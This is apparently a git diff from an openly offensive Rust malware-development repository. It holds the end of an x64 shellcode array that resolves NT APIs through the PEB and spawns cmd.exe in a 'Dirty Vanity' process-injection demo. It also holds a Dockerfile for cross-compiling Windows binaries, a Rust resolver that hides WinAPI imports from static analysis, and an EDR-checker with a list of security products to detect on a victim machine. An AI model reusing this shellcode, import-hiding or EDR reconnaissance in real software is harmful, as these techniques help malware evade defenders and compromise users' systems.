0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01, 0x00,
0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00,
0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01,
0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85,
0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x8D,
0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01,
0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F,
0xBE, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x94,
0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,
0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48, 0x83,
0xC0, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x85, 0x90, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D, 0x94,
0x01, 0x00, 0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF,
0xFF, 0x83, 0xBD, 0x88, 0x01, 0x00, 0x00, 0x00, 0x0F, 0x84,
0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00,
0x00, 0x48, 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x48, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48,
0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00,
0x88, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48,
0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00,
0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,
0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00,
0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00,
0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x8C,
0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x8D, 0x01,
0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01, 0x00,
0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE,
0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,
0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF,
0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01,
0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00,
0x00, 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C,
0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE,
0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85,
0x8D, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C,
0x01, 0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66,
0x0F, 0xBE, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85,
0x94, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x85, 0x90, 0x01, 0x00,
0x00, 0x0F, 0xB7, 0x8D, 0x94, 0x01, 0x00, 0x00, 0x2B, 0xC1,
0x89, 0x85, 0x88, 0x01, 0x00, 0x00, 0x83, 0xBD, 0x88, 0x01,
0x00, 0x00, 0x00, 0x75, 0x10, 0x48, 0x8B, 0x85, 0x80, 0x01,
0x00, 0x00, 0x48, 0x89, 0x85, 0x78, 0x01, 0x00, 0x00, 0xEB,
0x25, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x00, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x39, 0x85, 0x38, 0x01,
0x00, 0x00, 0x0F, 0x85, 0xF9, 0xFC, 0xFF, 0xFF, 0x48, 0x8B,
0x85, 0x50, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x30, 0x48,
0x89, 0x85, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x98,
0x01, 0x00, 0x00, 0x48, 0x63, 0x40, 0x3C, 0x48, 0x8B, 0x8D,
0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1,
0x48, 0x89, 0x85, 0xA0, 0x01, 0x00, 0x00, 0xB8, 0x08, 0x00,
0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x8D, 0xA0,
0x01, 0x00, 0x00, 0x8B, 0x84, 0x01, 0x88, 0x00, 0x00, 0x00,
0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8,
0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xA8, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x85, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x20,
0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8,
0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xB0, 0x01, 0x00, 0x00,
0x48, 0xB8, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41,
0x48, 0x89, 0x45, 0x10, 0xC7, 0x85, 0xB8, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x48, 0x63, 0x85, 0xB8, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x8D, 0xB0, 0x01, 0x00, 0x00, 0x48, 0x63,
0x04, 0x81, 0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x55, 0x10, 0x48, 0x39, 0x14, 0x01, 0x74, 0x10, 0x8B,
0x85, 0xB8, 0x01, 0x00, 0x00, 0xFF, 0xC0, 0x89, 0x85, 0xB8,
0x01, 0x00, 0x00, 0xEB, 0xCD, 0x48, 0x8B, 0x85, 0xA8, 0x01,
0x00, 0x00, 0x8B, 0x40, 0x24, 0x48, 0x8B, 0x8D, 0x98, 0x01,
0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89,
0x85, 0xC0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0xA8, 0x01,
0x00, 0x00, 0x8B, 0x40, 0x1C, 0x48, 0x8B, 0x8D, 0x98, 0x01,
0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89,
0x85, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x63, 0x85, 0xB8, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x8D, 0xC0, 0x01, 0x00, 0x00, 0x48,
0x0F, 0xBF, 0x04, 0x41, 0x48, 0x8B, 0x8D, 0xC8, 0x01, 0x00,
0x00, 0x48, 0x63, 0x04, 0x81, 0x48, 0x8B, 0x8D, 0x98, 0x01,
0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89,
0x85, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x98, 0x01,
0x00, 0x00, 0x48, 0x89, 0x85, 0xD8, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x78, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xE0,
0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0xE0, 0x01, 0x00, 0x00,
0xC7, 0x80, 0x14, 0x01, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
0x48, 0x8B, 0x85, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40,
0x30, 0x48, 0x89, 0x85, 0xE8, 0x01, 0x00, 0x00, 0x48, 0xB8,
0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x48, 0x89,
0x45, 0x10, 0x48, 0xC7, 0x45, 0x18, 0x61, 0x72, 0x79, 0x41,
0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xD8, 0x01, 0x00,
0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85,
0xF0, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x52, 0x74, 0x6C, 0x41,
0x6C, 0x6C, 0x6F, 0x63, 0x48, 0x89, 0x45, 0x10, 0x48, 0xB8,
0x61, 0x74, 0x65, 0x48, 0x65, 0x61, 0x70, 0x00, 0x48, 0x89,
0x45, 0x18, 0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xE8,
0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48,
0x89, 0x85, 0xF8, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x52, 0x74,
0x6C, 0x43, 0x72, 0x65, 0x61, 0x74, 0x48, 0x89, 0x45, 0x38,
0x48, 0xB8, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73,
0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x50, 0x61, 0x72, 0x61,
0x6D, 0x65, 0x74, 0x65, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7,
0x45, 0x50, 0x72, 0x73, 0x45, 0x78, 0x48, 0x8D, 0x55, 0x38,
0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0,
0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x00, 0x02, 0x00, 0x00,
0x48, 0xB8, 0x4E, 0x74, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65,
0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x55, 0x73, 0x65, 0x72,
0x50, 0x72, 0x6F, 0x63, 0x48, 0x89, 0x45, 0x28, 0x48, 0xC7,
0x45, 0x30, 0x65, 0x73, 0x73, 0x00, 0x48, 0x8D, 0x55, 0x20,
0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0,
0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x08, 0x02, 0x00, 0x00,
0x48, 0xB8, 0x52, 0x74, 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55,
0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x6E, 0x69, 0x63, 0x6F,
0x64, 0x65, 0x53, 0x74, 0x48, 0x89, 0x45, 0x28, 0x48, 0xC7,
0x45, 0x30, 0x72, 0x69, 0x6E, 0x67, 0x48, 0x8D, 0x55, 0x20,
0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0,
0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x10, 0x02, 0x00, 0x00,
0x48, 0xB8, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00, 0x5C, 0x00,
0x48, 0x89, 0x45, 0x60, 0x48, 0xB8, 0x43, 0x00, 0x3A, 0x00,
0x5C, 0x00, 0x57, 0x00, 0x48, 0x89, 0x45, 0x68, 0x48, 0xB8,
0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x48, 0x89,
0x45, 0x70, 0x48, 0xB8, 0x77, 0x00, 0x73, 0x00, 0x5C, 0x00,
0x53, 0x00, 0x48, 0x89, 0x45, 0x78, 0x48, 0xB8, 0x79, 0x00,
0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x48, 0x89, 0x85, 0x80,
0x00, 0x00, 0x00, 0x48, 0xB8, 0x6D, 0x00, 0x33, 0x00, 0x32,
0x00, 0x5C, 0x00, 0x48, 0x89, 0x85, 0x88, 0x00, 0x00, 0x00,
0x48, 0xB8, 0x63, 0x00, 0x6D, 0x00, 0x64, 0x00, 0x2E, 0x00,
0x48, 0x89, 0x85, 0x90, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x65,
0x00, 0x78, 0x00, 0x65, 0x00, 0x00, 0x00, 0x48, 0x89, 0x85,
0x98, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x55, 0x60, 0x48, 0x8D,
0x8D, 0x18, 0x02, 0x00, 0x00, 0xFF, 0x95, 0x10, 0x02, 0x00,
0x00, 0x48, 0xB8, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00, 0x5C,
0x00, 0x48, 0x89, 0x85, 0xA0, 0x00, 0x00, 0x00, 0x48, 0xB8,
0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x57, 0x00, 0x48, 0x89,
0x85, 0xA8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x69, 0x00, 0x6E,
0x00, 0x64, 0x00, 0x6F, 0x00, 0x48, 0x89, 0x85, 0xB0, 0x00,
0x00, 0x00, 0x48, 0xB8, 0x77, 0x00, 0x73, 0x00, 0x5C, 0x00,
0x53, 0x00, 0x48, 0x89, 0x85, 0xB8, 0x00, 0x00, 0x00, 0x48,
0xB8, 0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x48,
0x89, 0x85, 0xC0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x6D, 0x00,
0x33, 0x00, 0x32, 0x00, 0x5C, 0x00, 0x48, 0x89, 0x85, 0xC8,
0x00, 0x00, 0x00, 0x48, 0xB8, 0x63, 0x00, 0x6D, 0x00, 0x64,
0x00, 0x2E, 0x00, 0x48, 0x89, 0x85, 0xD0, 0x00, 0x00, 0x00,
0x48, 0xB8, 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x20, 0x00,
0x48, 0x89, 0x85, 0xD8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x2F,
0x00, 0x6B, 0x00, 0x20, 0x00, 0x6D, 0x00, 0x48, 0x89, 0x85,
0xE0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x73, 0x00, 0x67, 0x00,
0x20, 0x00, 0x2A, 0x00, 0x48, 0x89, 0x85, 0xE8, 0x00, 0x00,
0x00, 0x48, 0xB8, 0x20, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C,
0x00, 0x48, 0x89, 0x85, 0xF0, 0x00, 0x00, 0x00, 0x48, 0xB8,
0x6C, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x66, 0x00, 0x48, 0x89,
0x85, 0xF8, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x72, 0x00, 0x6F,
0x00, 0x6D, 0x00, 0x20, 0x00, 0x48, 0x89, 0x85, 0x00, 0x01,
0x00, 0x00, 0x48, 0xB8, 0x44, 0x00, 0x69, 0x00, 0x72, 0x00,
0x74, 0x00, 0x48, 0x89, 0x85, 0x08, 0x01, 0x00, 0x00, 0x48,
0xB8, 0x79, 0x00, 0x20, 0x00, 0x56, 0x00, 0x61, 0x00, 0x48,
0x89, 0x85, 0x10, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6E, 0x00,
0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x48, 0x89, 0x85, 0x18,
0x01, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x20, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x95, 0xA0, 0x00, 0x00,
0x00, 0x48, 0x8D, 0x8D, 0x28, 0x02, 0x00, 0x00, 0xFF, 0x95,
0x10, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x38, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x50, 0x01,
0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x48, 0x00, 0x00,
0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x40, 0x00, 0x00, 0x00,
0x00, 0x48, 0xC7, 0x44, 0x24, 0x38, 0x00, 0x00, 0x00, 0x00,
0x48, 0xC7, 0x44, 0x24, 0x30, 0x00, 0x00, 0x00, 0x00, 0x48,
0xC7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D,
0x85, 0x28, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20,
0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x95, 0x18,
0x02, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x38, 0x02, 0x00, 0x00,
0xFF, 0x95, 0x00, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x85, 0x40,
0x02, 0x00, 0x00, 0x48, 0x8B, 0xF8, 0x33, 0xC0, 0xB9, 0x58,
0x00, 0x00, 0x00, 0xF3, 0xAA, 0x48, 0xC7, 0x85, 0x40, 0x02,
0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0xC7, 0x85, 0x48, 0x02,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00,
0x00, 0x48, 0x6B, 0xC0, 0x01, 0x41, 0xB8, 0x20, 0x00, 0x00,
0x00, 0xBA, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4D, 0x00,
0x48, 0x8B, 0x4C, 0x01, 0x28, 0xFF, 0x95, 0xF8, 0x01, 0x00,
0x00, 0x48, 0x89, 0x85, 0xA0, 0x02, 0x00, 0x00, 0x48, 0x8B,
0x85, 0xA0, 0x02, 0x00, 0x00, 0x48, 0xC7, 0x00, 0x28, 0x00,
0x00, 0x00, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0,
0x00, 0x48, 0x8B, 0x8D, 0xA0, 0x02, 0x00, 0x00, 0xC7, 0x44,
0x01, 0x08, 0x05, 0x00, 0x02, 0x00, 0xB8, 0x20, 0x00, 0x00,
0x00, 0x48, 0x6B, 0xC0, 0x00, 0x0F, 0xB7, 0x8D, 0x18, 0x02,
0x00, 0x00, 0x48, 0x8B, 0x95, 0xA0, 0x02, 0x00, 0x00, 0x48,
0x89, 0x4C, 0x02, 0x10, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48,
0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x8D, 0xA0, 0x02, 0x00, 0x00,
0x48, 0x8B, 0x95, 0x20, 0x02, 0x00, 0x00, 0x48, 0x89, 0x54,
0x01, 0x18, 0x48, 0xC7, 0x85, 0xB0, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0xA0, 0x02, 0x00, 0x00,
0x48, 0x89, 0x44, 0x24, 0x50, 0x48, 0x8D, 0x85, 0x40, 0x02,
0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8B, 0x85,
0x38, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x40, 0xC7,
0x44, 0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24,
0x30, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x28,
0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x20, 0x00,
0x00, 0x00, 0x00, 0x41, 0xB9, 0xFF, 0xFF, 0x1F, 0x00, 0x41,
0xB8, 0xFF, 0xFF, 0x1F, 0x00, 0x48, 0x8D, 0x95, 0xB0, 0x02,
0x00, 0x00, 0x48, 0x8D, 0x8D, 0xA8, 0x02, 0x00, 0x00, 0xFF,
0x95, 0x08, 0x02, 0x00, 0x00, 0x89, 0x85, 0xB8, 0x02, 0x00,
0x00, 0x48, 0xB8, 0x4E, 0x74, 0x53, 0x75, 0x73, 0x70, 0x65,
0x6E, 0x48, 0x89, 0x45, 0x10, 0x48, 0xB8, 0x64, 0x54, 0x68,
0x72, 0x65, 0x61, 0x64, 0x00, 0x48, 0x89, 0x45, 0x18, 0x48,
0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00, 0x00,
0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xC0,
0x02, 0x00, 0x00, 0x33, 0xD2, 0x48, 0xC7, 0xC1, 0xFE, 0xFF,
0xFF, 0xFF, 0xFF, 0x95, 0xC0, 0x02, 0x00, 0x00, 0x48, 0x8D,
0xA5, 0x58, 0x03, 0x00, 0x00, 0x5F, 0x5D, 0xC3
];
+14
View File
@@ -0,0 +1,14 @@
# Please Read docker.md file for more information.
# By @5mukx
FROM rust:latest
RUN apt update ; apt upgrade -y
RUN apt install -y g++-mingw-w64-x86-64
RUN rustup target add x86_64-pc-windows-gnu
RUN rustup toolchain install stable-x86_64-pc-windows-gnu
WORKDIR /app
CMD ["cargo", "build", "--target", "x86_64-pc-windows-gnu", "--release"]
+19
View File
@@ -0,0 +1,19 @@
[package]
name = "syscall_suspension"
version = "0.1.0"
edition = "2024"
[dependencies.windows]
version = "0.62.0"
features = [
"Win32_Foundation",
"Win32_System_Diagnostics_Debug",
"Win32_Security",
"Win32_System_Threading",
"Win32_System_Memory",
"Win32_System_LibraryLoader",
"Win32_System_Kernel",
"Win32_System_SystemServices",
"Win32_System_WindowsProgramming",
"Win32_System_SystemInformation"
]
+9
View File
@@ -0,0 +1,9 @@
## Dynamic Resolver
This program dynamically resolves and invokes WinAPI functions without relying on static imports or standard linker. This approach involves manually traversing the PEB to locate loaded modules and parsing PE file headers to extract function addresses from export directories.
![PoC-IMAGE](./image.png)
## Authors
[@5mukx](https://x.com/5mukx)
Binary file not shown.

After

Width:  |  Height:  |  Size: 118 KiB

+146
View File
@@ -0,0 +1,146 @@
/*
Dynamic Resolver
5mukx
*/
use std::{
ffi::c_void,
ptr::null_mut,
};
use windows::{
Win32::{
Foundation::{FARPROC, HWND},
System::{
Diagnostics::Debug::{IMAGE_DATA_DIRECTORY, IMAGE_NT_HEADERS64},
Kernel::LIST_ENTRY,
SystemServices::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY},
},
},
core::{PCSTR, s},
};
use windows::Win32::System::Threading::PEB;
use windows::Win32::System::WindowsProgramming::LDR_DATA_TABLE_ENTRY;
#[inline]
#[cfg(target_pointer_width = "64")]
pub fn __readgsqword(offset: u32) -> u64 {
let out: u64;
unsafe {
std::arch::asm!(
"mov {}, gs:[{:e}]",
lateout(reg) out,
in(reg) offset,
options(nostack, pure, readonly),
);
}
out
}
type MessageBoxA = unsafe extern "system" fn(HWND, PCSTR, PCSTR, u32) -> i32;
type LoadLibraryA = unsafe extern "system" fn(PCSTR) -> i32;
fn get_module_base_addr(module_name: &str) -> *mut c_void {
unsafe {
let peb_offset: *const u64 = __readgsqword(0x60) as *const u64;
let peb: PEB = *(peb_offset as *const PEB);
let mut p_ldr_data_table_entry: *const LDR_DATA_TABLE_ENTRY =
(*peb.Ldr).InMemoryOrderModuleList.Flink as *const LDR_DATA_TABLE_ENTRY;
let mut p_list_entry = &(*peb.Ldr).InMemoryOrderModuleList as *const LIST_ENTRY;
loop {
let buffer = std::slice::from_raw_parts(
(*p_ldr_data_table_entry).FullDllName.Buffer.0,
(*p_ldr_data_table_entry).FullDllName.Length as usize / 2,
);
let dll_name = String::from_utf16_lossy(buffer);
if dll_name.to_lowercase().starts_with(module_name) {
let module_base = (*p_ldr_data_table_entry).Reserved2[0];
return module_base;
}
if p_list_entry == (*peb.Ldr).InMemoryOrderModuleList.Blink {
println!("Module not found!");
return null_mut();
}
p_list_entry = (*p_list_entry).Flink;
p_ldr_data_table_entry = (*p_list_entry).Flink as *const LDR_DATA_TABLE_ENTRY;
}
}
}
fn get_proc_addr(module_handle: *mut c_void, function_name: &str) -> FARPROC {
unsafe {
let dos_headers = module_handle as *const IMAGE_DOS_HEADER;
let nt_headers =
(module_handle as u64 + (*dos_headers).e_lfanew as u64) as *const IMAGE_NT_HEADERS64;
let data_directory =
(&(*nt_headers).OptionalHeader.DataDirectory[0]) as *const IMAGE_DATA_DIRECTORY;
let export_directory = (module_handle as u64 + (*data_directory).VirtualAddress as u64)
as *const IMAGE_EXPORT_DIRECTORY;
let mut address_array =
(module_handle as u64 + (*export_directory).AddressOfFunctions as u64) as u64;
let mut name_array =
(module_handle as u64 + (*export_directory).AddressOfNames as u64) as u64;
let mut name_ordinals =
(module_handle as u64 + (*export_directory).AddressOfNameOrdinals as u64) as u64;
loop {
let name_offest: u32 = *(name_array as *const u32);
let current_function_name =
std::ffi::CStr::from_ptr((module_handle as u64 + name_offest as u64) as *const i8)
.to_str()
.unwrap();
if current_function_name == function_name {
address_array = address_array
+ (*(name_ordinals as *const u16) as u64 * (std::mem::size_of::<u32>() as u64));
let fun_addr: FARPROC = std::mem::transmute(
module_handle as u64 + *(address_array as *const u32) as u64,
);
return fun_addr;
}
name_array = name_array + std::mem::size_of::<u32>() as u64;
name_ordinals = name_ordinals + std::mem::size_of::<u16>() as u64;
}
}
}
fn main() {
unsafe {
println!("[+] Getting base address of kernel32.dll");
let kernel32_base_address = get_module_base_addr("kernel32.dll");
println!("[+] Dynamically resolving LoadLibraryA");
let dn_load_library_a: LoadLibraryA =
std::mem::transmute(get_proc_addr(kernel32_base_address, "LoadLibraryA"));
println!("[+] Load user32.dll");
dn_load_library_a(s!("user32.dll"));
println!("[+] Getting base address of user32.dll");
let user32_base_address = get_module_base_addr("user32.dll");
println!("[+] Dynamically resolved MessageBoxA");
let dn_message_box_a: MessageBoxA =
std::mem::transmute(get_proc_addr(user32_base_address, "MessageBoxA"));
dn_message_box_a(
HWND(null_mut()),
s!("Hey, its Dynamically resolved"),
s!("TEST"),
0x0,
);
}
}
+7
View File
@@ -0,0 +1,7 @@
[package]
name = "EDRChecker"
version = "0.1.0"
edition = "2021"
[dependencies]
regex = "1.11.0"
+29
View File
@@ -0,0 +1,29 @@
## EDRChecker-Rust
This Code aims to check for the presence of EDR's tools, antivirus software, and other security-related applications on a Windows system.
## What It Does !
- **Checks Running Processes**: Scans for processes that match names associated with EDR or antivirus software.
- **Checks Services**: Looks for services that might indicate the presence of EDR or antivirus solutions.
- **Scans Directories**: Searches through common installation directories for known EDR or antivirus product names.
Downlaod EdR-Checker: [Download](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/EDRChecker)
## Prerequisites
- **Rust**: Ensure you have Rust installed. You can download it from [rustup.rs](rustup.rs).
- **Windows**: This script is designed for Windows systems, using Windows-specific commands.
## RUN
```
cargo run
```
## CREDITS!
* https://github.com/PwnDexter/Invoke-EDRChecker/tree/master
* https://github.com/PwnDexter/SharpEDRChecker
By [@5mukx](https://x.com/5mukx)
+175
View File
@@ -0,0 +1,175 @@
const EDR_LIST: [&str; 125] = [
"activeconsole",
"ADA-PreCheck",
"ahnlab",
"amsi.dll",
"anti malware",
"anti-malware",
"antimalware",
"anti virus",
"anti-virus",
"antivirus",
"appsense",
"attivo networks",
"attivonetworks",
"authtap",
"avast",
"avecto",
"bitdefender",
"blackberry",
"canary",
"carbonblack",
"carbon black",
"cb.exe",
"check point",
"ciscoamp",
"cisco amp",
"countercept",
"countertack",
"cramtray",
"crssvc",
"crowdstrike",
"csagent",
"csfalcon",
"csshell",
"cybereason",
"cyclorama",
"cylance",
"cynet",
"cyoptics",
"cyupdate",
"cyvera",
"cyserver",
"cytray",
"darktrace",
"deep instinct",
"defendpoint",
"defender",
"eectrl",
"elastic",
"endgame",
"f-secure",
"forcepoint",
"fortinet",
"fireeye",
"groundling",
"GRRservic",
"harfanglab",
"inspector",
"ivanti",
"juniper networks",
"kaspersky",
"lacuna",
"logrhythm",
"malware",
"malwarebytes",
"mandiant",
"mcafee",
"morphisec",
"msascuil",
"msmpeng",
"nissrv",
"omni",
"omniagent",
"osquery",
"Palo Alto Networks",
"pgeposervice",
"pgsystemtray",
"privilegeguard",
"procwall",
"protectorservic",
"qianxin",
"qradar",
"qualys",
"rapid7",
"redcloak",
"red canary",
"SanerNow",
"sangfor",
"secureworks",
"securityhealthservice",
"semlaunchsv",
"sentinel",
"sentinelone",
"sepliveupdat",
"sisidsservice",
"sisipsservice",
"sisipsutil",
"smc.exe",
"smcgui",
"snac64",
"somma",
"sophos",
"splunk",
"srtsp",
"symantec",
"symcorpu",
"symefasi",
"sysinternal",
"sysmon",
"tanium",
"tda.exe",
"tdawork",
"tehtris",
"threat",
"trellix",
"tpython",
